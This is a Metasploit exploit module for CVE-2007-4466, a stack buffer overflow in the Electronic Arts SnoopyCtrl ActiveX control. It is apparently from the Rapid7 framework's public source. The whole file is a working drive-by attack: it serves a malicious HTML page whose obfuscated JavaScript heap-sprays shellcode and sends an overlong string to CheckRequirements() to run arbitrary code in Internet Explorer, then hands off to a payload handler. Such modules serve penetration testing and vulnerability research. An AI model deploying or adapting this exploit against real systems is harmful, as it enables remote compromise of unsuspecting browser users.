##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Electronic Arts SnoopyCtrl ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in Electronic Arts SnoopyCtrl
        ActiveX Control (NPSnpy.dll 1.1.0.36. When sending an overly long
        string to the CheckRequirements() method, an attacker may be able
        to execute arbitrary code.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2007-4466' ],
          [ 'OSVDB', '37723'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
        ],
      'DisclosureDate' => '2007-10-08',
      'DefaultTarget'  => 0))
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload.
    return if ((p = regenerate_payload(cli)) == nil)

    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or al, 12").encode_string * 2)

    js = %Q|
      try {
        var evil_string = "";
        var index;
        var vulnerable = new ActiveXObject('SnoopyX.SnoopyCtrl.1');
        var my_unescape = unescape;
        var shellcode = '#{shellcode}';
        #{js_heap_spray}
        sprayHeap(my_unescape(shellcode), 0x0c0c0c0c, 0x40000);
        for (index = 0; index < 5000; index++) {
          evil_string = evil_string + my_unescape('#{ret}');
        }
        vulnerable.CheckRequirements(evil_string);
      } catch( e ) { window.location = 'about:blank' ; }
    |

    opts = {
      'Strings' => true,
      'Symbols' => {
        'Variables' => [
          'vulnerable',
          'shellcode',
          'my_unescape',
          'index',
          'evil_string',
        ]
      }
    }
    js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
    js.update_opts(js_heap_spray.opts)
    js.obfuscate(memory_sensitive: true)
    content = %Q|<html>
<body>
<script><!--
#{js}
//</script>
</body>
</html>
|

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end
